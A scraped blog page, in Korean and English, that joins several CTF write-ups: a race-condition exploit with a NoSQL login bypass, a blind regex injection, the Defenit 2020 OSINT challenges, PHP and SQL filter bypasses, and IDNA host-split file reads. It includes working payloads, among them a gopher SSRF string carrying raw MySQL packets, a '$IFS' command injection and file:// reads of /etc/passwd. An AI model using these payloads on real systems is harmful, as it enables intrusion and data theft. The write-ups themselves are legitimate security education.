    data = {"userid":"arat0{:03d}".format(i),"password":"dkfkd31231"}

    r = s.post(pp.url, data=json.dumps(data), headers=pp.headers)

    if r.status_code==200:

        # signin

        u = "http://3.35.40.133/api/signin"

        data = {"userid":"arat0{:03d}".format(i),"password":{"$gt":""}}

        r = s.post(u, data=json.dumps(data), headers=pp.headers)

        if r.status_code==200:

            rj = json.loads(r.content)

            pp.headers['x-access-token'] = rj['token']

           

           

           

            with ThreadPoolExecutor(3) as pool:

                t=[1,2,3,4,5]

                ret = [x for x in pool.map(raceCondition,t)]


---------------------------------------------------------------------------------------------- 

위와같은 race condition을 발생시키는 익스플로잇 코드를 통해 level 2번 증가시킬 수 있다

실제로 auth 요청이 2번 된것을 확인하였고, 그 계정으로 로그인 시

admin으로 변한것을 확인할 수 있다.

플래그 획득

slick-logger web 5 solvers

func searchHandler(w http.ResponseWriter, r *http.Request) {
    channelID, ok := r.URL.Query()["channel"]
    if !ok || !validateParameter(channelID[0]) {
        http.Error(w, "channel parameter is required", 400)
        return
    }

    queries, ok := r.URL.Query()["q"]
    if !ok || !validateParameter(queries[0]) {
        http.Error(w, "q parameter is required", 400)
        return
    }

    users := []User{}
    readJSON("/var/lib/data/users.json", &users)

    dir, _ := strconv.Unquote(channelID[0])
    query, _ := strconv.Unquote(queries[0])

    if strings.HasPrefix(dir, "G") {
        http.Error(w, "You cannot view private channels, sorry!", 403)
        return
    }

    re, _ := regexp.Compile("(?i)" + query)

    messages := []Message{}
    filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
        if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
            newMessages := []Message{}
            readJSON(path, &newMessages)
            for _, message := range newMessages {
                if re.MatchString(message.Text) {
                    // Fill in user info
                    for _, user := range users {
                        if user.ID == message.UserID {
                            messages = append(messages, Message{
                                Text:      re.ReplaceAllString(message.Text, "<em>$0</em>"),
                                UserID:    message.UserID,
                                UserName:  user.Name,
                                Icon:      user.Profile.Image,
                                Timestamp: message.Timestamp,
                            })
                            break
                        }
                    }
                }
            }
        }
        return nil
    })

    result, _ := json.Marshal(messages)

    w.WriteHeader(http.StatusOK)
    header := w.Header()
    header.Set("Content-type", "application/json")
    fmt.Fprint(w, string(result))
}

in search function, they get input from us, channel and q

but they use specific parameter form like "value", and unquote it.

so if we give """, it is going to blank, we could search like like '%' in mysql db.

(thanks for @Payload at GON)

from now,

filepath.Walk("/var/lib/data/", func(path string, _ os.FileInfo, _ error) error {
    if strings.HasPrefix(path, "/var/lib/data/"+dir) && strings.HasSuffix(path, ".json") {
        newMessages := []Message{}
        readJSON(path, &newMessages)

we could get secret channel's admin message,

users := []User{}
readJSON("/var/lib/data/users.json", &users)

...

for _, user := range users {
    if user.ID == message.UserID {

but because of this condition, there is no userid USLACKBOT at users.json

    for _, message := range newMessages {
>>>        if re.MatchString(message.Text) {
            // Fill in user info
            for _, user := range users {

but our searching word, query, is going to argument of regexp.Compile, it is used before userid matching.

so we could give it blind regex injection. (https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)

as searching words' length is growing, accuracy of blind regex injection decreases.

moderately slice our searching words to get flag!

and accuracy is little bit low, so we send same payload for several time, and get statistics of most delayed word! XD

[*] 5 : 0.06300497055053711
[*] } : 0.062014102935791016
[*] N : 0.05901360511779785
---------------------
[*] } : 0.06202411651611328
[*] 0 : 0.060013771057128906
[*] W : 0.058012962341308594
---------------------
[*] U : 0.09402132034301758
[*] B : 0.0660254955291748
[*] } : 0.06601500511169434
---------------------
[*] } : 0.06301426887512207
[*] Z : 0.06101393699645996
[*] Y : 0.060013532638549805
---------------------
[*] } : 0.06601476669311523
[*] H : 0.06502485275268555
[*] 6 : 0.05902361869812012
---------------------
[Finished in 13.1s]

## this could be `}` is the currect word

check my exploit

https://github.com/JaewookYou/ctf-writeups/blob/master/2020TSGCTF/slick-logger/ex.py

Defenit CTF 2020 OSINT Challenge Write-Up (KOR,ENG)

 

 

이번 Defenit CTF 2020에선 OSINT 분야 출제를 맡았습니다. 본래 주 분야가 웹이라 웹과 OSINT를 엮어서 할 수 있는 문제를 만드는것을 목표로 하여 문제를 구상하였습니다. 문제 구상을 하기 전에 OSINT라는 분야에 대해 생각해 보았습니다. '인터넷 상에 공개된 정보를 토대로 해커의 정보를 얻거나 그를 특정하는 것'이 OSINT라는 분야의 주된 목적이라 생각하였고, 이를 최근 트렌드와 엮어 '암호화폐'와 '악성코드' 등을 이용한 해커의 악의적 동작을 막아내는 것을 주 컨셉으로 잡고 문제를 구상·제작 하였습니다. Bad Tumbler는 '암호화폐', Hack the C2는 '악성코드의 C2서버'가 주 컨셉입니다. 그럼 한 문제씩 Write-up을 서술하여 보겠습니다.

 

In this Defenit CTF 2020, I took charge of the OSINT category. Originally, my main field was the web, so I was going to make the challenge that could be done by combining the web and OSINT. Before I thought about the problem, I thought about the category called OSINT. It was thought that the main purpose of the field of OSINT was to'acquire hacker's information based on information published on the Internet or to specify him', and by linking it with recent trends, hackers using 'cryptocurrency' and 'malware'.  The main concept was to prevent malicious movements and devised and produced problems. 'Bad Tumbler's main concept is 'cryptocurrency', and 'Hack the C2's main concept are 'C2 server of ransomware'. Then let's describe Write-up one by one.

 


1. Bad Tumblers


[TL;DR]

 1. parse given address recursively

 2. get characteristic of hacker address

 3. get connection of all parsed address (tumbler networks + hacker wallet + victim wallet + a)

 4. specify the wallet which has characteristic 'from some wallet but to less wallet (unless 5)'

 5. specify the wallet which had been having more than 400+ ether



이 첼린지는 최근 이슈화 되고있는 암호화폐 돈세탁에 관련된 문제입니다. 해커가 암호화폐를 해킹하여 돈세탁을 맡기고, 출금한 상황에서 이러한 해커를 추적해나가는게 주요 문제 해결의 키 포인트입니다.

우선 전제조건과 설명은 아래와 같습니다

This is a problem related to the money laundering of cryptocurrency, which has recently become an issue. The key point of solving a major problem is that a hacker hacks a cryptocurrency, entrusts money laundering, and tracks the hacker in the withdrawal situation.

First of all, the prerequisites and explanations are as follows:


[Precondition]
0. Hundreds of wallets contain about 5 ether (tumbler)
0. Hackers steal more than 400 ethers through hacking per exchange
0. Hacker commissions ethereum tumbler to tumbling 400 ether from his wallet
0. After tracking the hacking accident that reported by exchange A, we confirmed that it was withdrawn to the hacker wallet of exchange C.
0. After checking the amount withdrawn from the wallet of exchange C, it seems that it was not the only exchange(exchange A) that was robbed.
0. Therefore, it is a problem to find a hacker wallet of some exchange(in this chall, it will be exchange B). So, we should find clues to track the hacker.

[Description]
Hacker succeeded in hacking and seizing cryptocurrency, Ethereum! Hacker succeeded in withdraw Ethereum by mixing & tumbling. What we know is the account of the hacker of exchange A which reported the hacking and exchange C which hacker withdrew money. In addition to Exchange A, there is another exchange that has been hacked. Track hackers to find out the bad hacker's wallet address on another exchange!




길죠?ㅠㅠ 죄송합니다. 보다 좋고 개연성있는 시나리오를 구성하기 위해서 주절주절 써봤습니다..

It's long, isn't it? In order to compose a better and more probable scenario, I've written weekly.



전제조건과 디스크립션의 주요 내용은 첨부된 개념도를 통해 더 직관적으로 이해할 수 있습니다. 각 거래소 A와 B에 피해자들이 있고, 이 피해자들이 이더리움을 해커의 지갑으로 우선 전송, 해커는 모인 이더리움들을 tumbler network에 조금씩 나누어 전송하고, 이렇게 전송된 돈은 tumbler network에서 돌고 돌다가 거래소 C의 해커 계좌로 조금씩 입금됩니다. 한마디로 '컵에 물을 담아 호수에 부은 후, 호수의 물을 다시 다른 컵으로 뜨는 것'과 비슷한 맥락으로 이해하면 됩니다.

The main contents of the precondition and description can be understood more intuitively through the attached conceptual image. There are victims on each of exchanges A and B, and these victims first transfer Ethereum to the hacker's wallet, the hacker transmits the collected Ethereum in small portions to the tumbler network, and the transferred money is circulated on the tumbler network and then exchanges C Will be gradually deposited into your hacker account. In a nutshell, you can understand it in a similar context to'after pouring water into a cup and pouring it into the lake, then floating the water from the lake back into another cup'.



문제에선 거래소 A와 C의 해커 지갑이 주어집니다. 암호화폐의 특성상 각 지갑에서의 거래(Transaction)는 모두 기록되어 모두에게 공유됩니다. 문제를 풀어나가는 첫 단계는 해킹을 당한 거래소 A의 해커 지갑을 분석하여 특징을 조사하고, 이러한 지갑들과 연결된 지갑들을 모두 찾아내 그 지갑들에서 아까 찾아낸 특징을 적용하여 살펴보는 것입니다.

The challenge is given to the exchange A and C hacker wallets. Due to the principle of cryptocurrency, all transactions in each wallet are recorded and shared with all. The first step in solving the problem is to analyze the hacker wallet of the hacked exchange A to investigate its characteristics, find all the wallets associated with these wallets, and apply the features found earlier in those wallets.

 


문제의 조건으로 주어진 거래소 A의 해커 지갑의 초기 transaction 들입니다.

 

These are the initial transactions in the hacker wallet of exchange A given as a condition of the problem.

 

 

Concept Map에서는 상기 그림에 해당하는 거래입니다. 피해자들의 돈이 해커의 지갑으로 입금되는 상황입니다. transaction들을 살펴보면 우선 피해자들의 이더리움이 해커의 지갑으로 모인 후, 이 이더리움들이 tumbler network로 출금되는 것을 알 수 있습니다.

 

In the Concept Map, it is a transaction corresponding to the picture above. The victim's money is deposited into the hacker's wallet. Looking at the transactions, you can see that the victims' Ethereum is first collected in the hacker's wallet, and then these Ethereums are withdrawn to the tumbler network.

 

 "Hacker Wallet's Characteristic: many victims deposit to hacker wallet"

이제 지갑들을 모두 파싱하여 특징을 조사하기 위해 recursive parse를 진행합니다. 수집된 지갑들 중 from/to transaction을 조사하여 지갑(node)간의 연결 정보를 수집합니다. 그 정보 중 우리가 알아낸 특징인 'to transaction이 적은 지갑이 victim 지갑이고, 그 to에 해당하는 지갑이 해커지갑이라는 것'을 적용하여 필터링합니다. 이후 필터링 된 지갑들 중 한때 400이더리움 이상을 가지고 있던 지갑(max current value)을 필터링합니다.

 

Now parse all wallets and proceed with recursive parse to investigate the features. Among the collected wallets, connection information between wallets is collected by examining from/to transactions. Among the information, we filter by applying the feature that we found out, 'a wallet with a small amount of to transaction is a victim wallet, and a wallet corresponding to that to be a hacker wallet'. Subsequently, the filtered wallet (max current value) that once had more than 400 Ethereum was filtered.

 

 

solve.py

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup/blob/master/bad-tumblers/solve.py

 

 


2. hack-the-c2

 


[TL;DR]

 1. find nickname at twitter

 2. see deleted tweet from web.archive.org

 3. find ransomware name at github

 4. see private repository(which is code of c2 server) from web.archive.org

 5. get url of c2 server and its code

 6. bypass curl argument's filter regex by idna normalization

  ( `file:/‥/‥/`, fi(\u2025, 1byte) will change to fi(\x46\x49, 2byte) after idna decoding at python )

 7. get internal server(which use 7777 port)'s code

 8. know it has connection with internal network's mysql server (172.22.0.4:3306)

 9. when connect to mysql server, there aren't login password

 10. so we can ssrf it by gopher scheme

 11. double url encoding because our packet via external server(which use 9090 port)

 12. get killcode from mysql, input killcode => FLAG XD


DescriptionSome hacker make ransomware, and he is going to spread it. We should stop him, but the only we have is that the hacker uses nickname 'b4d_ar4n9'. Find hacker's info and stop him!Hints

 

  • my own github is not related to solve this challenge

 

이 챌린지는 이전 랜섬웨어 킬스위치를 작동시켜 막대한 피해를 막은 영국의 보안 연구원이 떠올라 이와 비슷한 컨셉으로 만든 문제입니다. 보안 연구원인 우리는 인터넷에서 해커의 정보를 수집하여 해당 해커의 C2 서버 코드를 릭하여 자신만이 사용하려 만든 일종의 'admin function'들과 그에서 발생하는 취약점들로 C2서버를 해킹하여 킬스위치를 작동시켜 랜섬웨어 작동을 막아 세상을 구해낸다는(?) 컨셉입니다.

 

This challenge was created by a British security researcher who ran a previous ransomware kill switch to prevent massive damage and I made this challenge as a similar concept. As a security researcher, we collect hacker's information from the Internet and get the hacker's C2 server code to hack the C2 server by hacking the C2 server with some kind of 'admin functions' and vulnerabilities. The concept is to save the world by activating it to prevent ransomware from working (?).

 

 

 

우선 문제를 해결하기 위해선 정보를 수집하여야 합니다. 트위터에 'b4d_ar4n9'을 검색해보면 해당 닉네임을 사용중인 계정과 트윗들이 나옵니다. 이 중, 랜섬웨어의 이름을 썼다 지운 흔적이 위의 이미지와 같이 보입니다.

 

First, we need to collect information to solve the problem. If you search for 'b4d_ar4n9' on Twitter, the accounts and tweets using the nickname will appear. Of these, the name of the ransomware that was written and erased looks like the image above.

 

http://web.archive.org/web/20200520115408/https:/twitter.com/b4d_ar4n9

 

 

랜섬웨어 이름이 등장합니다! 추가로 최근 트윗에 'c2 서버의 코드를 모두 커밋했다' 라는 내용이 존재합니다. 따라서 github에서 랜섬웨어의 이름을 토대로 검색해봅시다.

 

The ransomware name comes up! In addition, a recent tweet says 'committed all code from c2 server'. So let's search based on the name of ransomware on github.

 

해커의 닉네임과 (leet lang으로) 동일한 계정의 repository가 나옵니다.

 

You'll get a repository with the same account (with leet lang) as the hacker's nickname.

 

 

https://github.com/Ba6-4raNg/myfirstapp/commit/1c2c1140e17960aa5d81762d3176c10e2f13009c

해당 repository의 커밋을 살펴보면 '모든것을 private로 만들었고, 모든 중요정보는 아카이빙 한다' 라는 기록이 존재합니다.

 

When looking at the commit of the repository, there is a record that 'everything is made private and all important information is archived'.

 

 

http://web.archive.org/web/20200604115819/https://github.com/Ba6-4raNg

 

짜잔- 여기엔 아까 보았던 랜섬웨어 이름으로 된 repository가 존재합니다.

 

There is a repository in the name of ransomware you saw earlier.

 

http://web.archive.org/web/20200604120030/https://github.com/Ba6-4raNg/SUPER_POWERFUL_RANSOMWARE/blob/master/app/main.py

 

 

 

 

해당 repository엔 c2 서버의 주소(http://hack-the-c2.ctf.defenit.kr:9090/)와 그 코드가 있습니다.

 

The repository contains the address of the c2 server(http://hack-the-c2.ctf.defenit.kr:9090/) and its code.

 

# health check! - ps
@app.route('/he41th_ch3ck_C2_ps')
def health_ps():
	r = subprocess.Popen("ps -ef".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	result = []
	for i in r:
		if 'python' in i:
			result.append(i)
	
	return render_template('he41th_ch3ck_C2_ps.html', results=result)

# health check! - netstat
@app.route('/h3alTh_CHeCK_c2_nEtsTaT')
def health_netstat():
	r = subprocess.Popen("netstat -lntp".split(' '),stdout=subprocess.PIPE).stdout.read().decode().split('\n')
	return render_template('h3alTh_CHeCK_c2_nEtsTaT.html', results=r)

 

 

http://hack-the-c2.ctf.defenit.kr:9090/he41th_ch3ck_C2_ps

http://hack-the-c2.ctf.defenit.kr:9090/h3alTh_CHeCK_c2_nEtsTaT

 

 

누촐된 코드를 통하여 일반적으로는 쉽게 알 수 없는 route에 접속하면, 현재 c2 서버의 process info와 netstat info를 알 수 있습니다. 이를 통해 내부에 9090 포트 외에 7777 포트로 돌아가는 flask server가 하나 더 있음을 확인 할 수 있습니다. (여기에 37159 포트를 사용하는 127.0.0.11 호스트에 많은 노력을 들인 분들이 있습니다만, 해당 서비스는 docker 안의 네트워크에서 dns를 관리하는 호스트입니다. 문제와는 관련이 없고, 구글링 할 시 찾아볼 수 있는 내용입니다)

 

If you access a route that is not normally known through the leaked code, you can get the process info and netstat info of the current c2 server. Through this, you can see that there is one more flask server that goes back to port 7777 in addition to port 9090. (Here is a lot of effort on the 127.0.0.11 host that uses port 37159, but the service is a host that manages dns on the network inside the docker. It has nothing to do with the challenge and can be found when you google Content)

 

# health check! - curl
@app.route('/He4ltH_chEck_c2_cur1')
def health_curl():
	url = request.args.get('url')
	try:
		if url:
			turl = filterUrl(url)
			if turl:
				url = turl
				try:
					buffer = BytesIO()
					c = pycurl.Curl()
					c.setopt(c.URL,url)
					c.setopt(c.SSL_VERIFYPEER, False)
					c.setopt(c.WRITEDATA,buffer)
					c.perform()
					c.close()
					try:
						result = buffer.getvalue().decode().split('\n')
					except:
						result = buffer.getvalue()
				except Exception as e:
					print('[x] curl err - {}'.format(str(e)))
					result = ['err.....']
				return render_template('He4ltH_chEck_c2_cur1.html', results=result)
			else:
				return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. url is error or unsafe!'])
	except Exception as e:
		print('[x] curl err2... - {}'.format(str(e)))
	return render_template('He4ltH_chEck_c2_cur1.html', results=['nah.. you didn\'t give url'])

def filterUrl(url):
	try:
		# you may not read any file
		if re.compile(r"(^[^:]{3}:)").search(url):
			if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
				print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
				return url.replace("..","").encode('idna').decode().replace("..","")
		elif re.compile(r"(^[^:]{4}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			p = parse.urlparse(url)
			if (p.scheme == 'http') and p.netloc.split(':')[0] == 'localhost':
				print('[+] curl url - {}'.format(url))
				return url
		elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
			print('[+] curl url - {}'.format(url))
			return url
	except Exception as e:
		print('[x] regex err - {}'.format(str(e)))
		return False

	return False

 

가장 중요한 부분인데요, 사용자의 input url을 받아 curl의 인자로 넘겨주는 서비스가 존재합니다. 다만 사용자의 input을 regex로 filtering하고 있어 이를 우회하여 SSRF(Server Side Request Forgery)하는 것이 출제자의 intent입니다. (다행히 unintent로 문제를 해결하신 분이 없습니다)

 

The most important part, there is a service that takes the user's input url and passes it as an argument of curl. However, since the user's input is filtered with regex, it is the intent of the submitter to bypass this and SSRF (Server Side Request Forgery). (Fortunately, no one has solved the challenge with unintent)

 

if re.compile(r"(^[^:]{3}:)").search(url):
	if re.compile(r"(^[^:]{3}:/[^(.|/)]/[^(.|/)]/)").search(url):
		print('[+] curl url - {}'.format(url.replace("..","").encode('idna').decode().replace("..","")))
		return url.replace("..","").encode('idna').decode().replace("..","")

 

상기 코드 중 scheme이 3글자 일때의 filtering code를 살펴보면, 특이하게도 input url에서 '..'를 제거 후 'idna normalization'을 수행하는 것을 확인 할 수 있습니다. idna normalization을 할 시 특수 unicode가 printable ascii character로 변환되는 일이 비일비재 합니다. 이번 문제의 의도는 이러한 idna normalization을 유니코드 범위 \u0000에서 \uffff까지 fuzzing하여 해당 문제 해결에 필요한 Gadget을 획득하는 것이었습니다.

 

Looking at the filtering code when the scheme is 3 letters among the above codes, it can be confirmed that 'idna normalization' is performed after removing '..' from the input url. When performing idna normalization, special unicode is converted into printable ascii character. The intention of this issue was to fuzzing this idna normalization from the Unicode range \u0000 to \uffff to get the Gadget needed to solve that challenge.

 

 

 

저 또한 idna normalization에서의 특수한 케이스를 얻기 위해 퍼징하여 그 데이터를 가지고 있는데요, 이 중 fi(\ufb01)가 문제 해결에 사용될 수 있습니다. 해당 문자는 idna normalization 이전엔 1바이트이지만 normalization 이후엔 2바이트 ascii character로 변하게 됩니다. 이로 인하여 처음의 3글자 scheme 필터링 regex에 통과되어 idna normalization 이후 file:/// scheme을 사용, local file leak이 가능해지는 것입니다.

 

I also fuzz to get a special case in idna normalization and have that data, of which fi(\ufb01) can be used to solve the problem. The character is 1 byte before idna normalization, but after normalization it is changed to a 2-byte ascii character. Because of this, the first 3-letter scheme is passed through the filtering regex, and after idna 

normalization, a file:/// scheme is used, and a local file leak is possible.

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=file:/‥/‥/app2/app/main.py

 

이로써 7777 포트로 구동중인 internal flask server에 대한 코드를 획득하였습니다.

 

So, we can obtain the code for the internal flask server running on port 7777.

 

 

def connect_db():
	db = pymysql.connect(
		user='b4d_aR4n9',
		#passwd=os.environ['DBPW'],
		host='172.22.0.4',
                port=3306,
		db='defenit_ctf_2020',
		charset='utf8'
	)

	return db

db = connect_db()



# if input killcode, kill all ransomware
@app.route('/k1ll_r4ns0mw4r3')
def kill_ransom():
	try:
		if request.remote_addr != '172.22.0.3' and request.remote_addr != '127.0.0.1':
			return '[INTERNAL] localhost only..'

		cursor = db.cursor(pymysql.cursors.DictCursor)
		cursor.execute("SELECT ki11c0d3 from secret;")

		if cursor.fetchall()[0]['ki11c0d3'] == request.args.get('ki11c0d3'):
			return subprocess.Popen("/app2/getFlag", stdout=subprocess.PIPE).stdout.read().strip()
		else:
			return '[x] you put wrong killcode!'

	except:
		return '[x] errr.....'

 

해당 코드를 살펴보면 172.22.0.4:3306 으로 mysql connect를 맺어 여기서 killcode를 읽고, killcode가 맞을 시 /app2/getFlag를 실행하여 flag를 출력해주는 것을 확인할 수 있습니다.

 

elif re.compile(r"(^[^:]{6}://(localhost|172\.22\.0\.\d{1,3})((:\d{1,5})/|/))").search(url):
	print('[+] curl url - {}'.format(url))
	return url

 

external flask에 있던 코드 중 6글자 scheme에 대해선 localhost 혹은 172.22.0.0/24 대역대로만 host를 제한하고 있습니다. 이를 이용하여 gopher://172.22.0.4:3306/으로 raw mysql packet을 보내어 요청한다면 우리가 원하는 임의의 sql query를 입력, 결과를 받아올 수 있습니다. (mysql connection시 비밀번호 없이 인증할 수 있도록 설정되어 있기 때문에handshake시 받아오는 20byte의 hash seed값 없이도 authentication이 가능합니다)

 

For the 6-letter scheme among the codes in the external flask, the host is limited to the localhost or 172.22.0.0/24 band. If you request by sending raw mysql packet to gopher://172.22.0.4:3306/ using this, you can enter any sql query we want and get the result. (Because it is set to authenticate without a password when connecting to mysql, authentication is possible without a hash seed value of 20 bytes received during handshake)

 

 

나머지 과정은 Gopherous로 쉽게 해결할 수 있습니다. (이를 못하게 하기 위해 연구중이었지만 시간이 부족하였습니다 ㅠㅠ)

 

The rest of the process can be easily solved with Gopherous. (I was researching to prevent this, but I ran out of time)

 

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=gopher://172.22.0.4:3306/_%25a8%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2562%2534%2564%255f%2561%2552%2534%256e%2539%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2526%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2564%2565%2566%2565%256e%2569%2574%255f%2563%2574%2566%255f%2532%2530%2532%2530%252e%2573%2565%2563%2572%2565%2574%2501%2500%2500%2500%2501

 

 

해당 payload로 gopher scheme을 이용하여 mysql 서버에 요청 시 결과값이 byte로 오는것을 확인할 수 있습니다.

 

When the request is requested to the mysql server using the gopher scheme as the corresponding payload, the result value can be checked as a byte.

 

 

 

이를 출력해보면 killcode를 확인할 수 있습니다.

 

If you print it out, you can see the killcode.

 

 

http://hack-the-c2.ctf.defenit.kr:9090/He4ltH_chEck_c2_cur1?url=localhost:7777/k1ll_r4ns0mw4r3?ki11c0d3=k1ll_th3_ALL_b4d_aR4n9_ransomeware

GET FLAG!!!

 

 


Epilogue.

 

 이렇게 제대로 마음잡고 CTF에 문제를 내본 것은 처음인것 같습니다. 주 분야가 아닌 분야의 출제를 맡아 처음엔 걱정도 고민도 많이 됐지만 다 만들고 나니 OSINT라는 카테고리에 어울리는 문제를 만든것 같다는 소소한 만족감(?)을 얻었는데, 푸신분들은 어떠셨을 지 잘 모르겠습니다. 괜찮았나요? 처음에 생각했던 것 보다 만드는데 어려움이 있어 현재보다 더욱 재밌는 챌린지를 만들지 못해 아쉽지만 기회가 된다면 그 생각들을 나중에 다시 문제로 실현시켜 공유해보고 싶네요. 풀어주신 분들께 정말 감사드리고 혹 부족함이 있었다면 죄송합니다. 감사합니다. 그럼이만! 

 

It seems to be the first time I have properly thought about this and presented a problem to the CTF. I had a lot of worries and worries at first because I took the questions in a field other than the main one, but after I finished making it, I got a slight satisfaction (?) that it seemed to have created a problem that fits into the category called OSINT. Was it okay? It's a pity that I couldn't create a more challenging challenge than it is now because I have a harder time to make it than I thought at first, but if I have the chance, I would like to share it later as a problem. Thank you so much for releasing and sorry if there was any shortage. Thank you. Sure!

 

 

 

'bad-tumblers' 문제를 제작하는데 사용한 스크립트/솔버 파일과 'hack-the-c2' 문제의 도커 및 소스를 업로드 하였으니 직접 구성하여 해보고싶으신 분들은 참고 부탁드립니다!

 

I uploaded the script/solver file used to create the'bad-tumblers' challenge, and the docker & source code of the 'hack-the-c2' challenge, so if you want to configure it yourself, please take a look!

 

https://github.com/JaewookYou/2020-defenit-ctf-osint-writeup

 

made by @arang

 

cookie 1로 바꿔줌

 

is_numeric 검사하고있어서 php type conversion error로 해결

echo is_numeric('404a');

 -> result : 0

echo '404a' == 404;

 -> result : 1

 

 

 

숫자길이검사해서 지수표현으로 우회

전에 봤던거랑 같은 문제

 

다만 필터링이 replace 된다

 

select, union, or, from 같은애들

 

sqli 에서 replace 될때는 seselectlect 같이 두번 넣어줘서 쉽게 우회가 가능하다

 

 

 

 

 

 

command injection

 

{} [] () %20 %09 %0a ' " ? * 등 문자 다 필터링

 

$ = ` 등 사용 가능

 

?ip=127.0.0.1;b=g.php;a=fla;cat$IFS$a$b;

 

$IFS 는 개행을 나타내는가보다

 

음 문제 자체는 괜찮았을거 같은데 buuctf에서 정보를 안준건지.. 하여튼 좀 그렇다.

 

이유는 차차 설명하도록 하겠따.

 

일단 문제 컨셉 자체는 blackhat usa 19에서 발표되었던 host split attack 이다.

 

unicode를 idna로 정규화 하였을 때 NFKC로 정규화하여 url hostname의 해석 시 한글자의 유니코드가 여러글자의 아스키로 변환되는 등 특이동작을 유발하여 필터링을 우회하는 공격이다.

 

여기선 python에서 urlparse.urlsplit 함수가 NFKC 정규화를 따르지 않아 idna 정규화된 결과와 urlsplit의 결과가 달라 hostname filtering을 우회할 수 있는 문제를 지적하여 문제로 만들었따.

 

https://bugs.python.org/issue36216 

 

Issue 36216: CVE-2019-9636: urlsplit does not handle NFKC normalization - Python tracker

Issue36216 Created on 2019-03-06 17:37 by steve.dower, last changed 2019-05-10 18:05 by ned.deily. This issue is now closed. URL Status Linked Edit PR 12201 closed steve.dower, 2019-03-06 17:45 PR 12213 merged steve.dower, 2019-03-07 16:07 PR 12215 merged

bugs.python.org

 

어쨌든 스키마검사는 안하고

 

urlparse.urlparse와 urlparse.urlsplit의 hostname이 'suctf.cc'가 아니게 나오게 하고,

 

idna 인코딩 이후엔 urlparse.urlsplit의 hostname이 'suctf.cc'가 나오게 하면 된다.

 

[!] unistr ℂ (2102) -> c (63)
[!] unistr ℅ (2105) -> c/o (63 2f 6f)
[!] unistr ℆ (2106) -> c/u (63 2f 75)

 

머 이런거 이용해주면 되는데 작년에 한참 host split 문제 나와가지고 빡쳐있었는데 이거 본 참에 전수조사 해버렸따. blackhat 발표자료에 나온거 외에도 많이 나왔는데,

 

궁금하신분들은 직접 조사해보시길!~ 안알려줄거지롱~~

 

 

어쨌든 저 중 하나 써보면 되는데

 

아니 이문제 불합리하다고 느낀게

 

내 파이썬 환경에서 urllib.urlopen('file:') 스키마에서 어떻게해도 문제 풀이처럼 file://suctf.cc/opt/../etc/passwd 를 열 수가 없다.

 

 

아마 모종의 이슈로 file스키마에 대한 검증부분이 더 들어갔거나.. 아니면 문제 환경에서 특정 python version을 명시해줬는데 buuctf에선 안해줬따거나 그런거 같은데.

 

하튼 저 위에 구문대로 하면 lfi가 가능해진다.

 

file://suctf.℆sr/../etc/passwd

 

이제 문제에선 nginx 아냐고 물어봤는데

 

nginx.conf 가져와보자

 

view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../etc/nginx/nginx.conf
view-source:http://4a30e934-1357-4638-b6c0-858280b28ced.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/../usr/local/nginx/conf/nginx.conf

 

+ Recent posts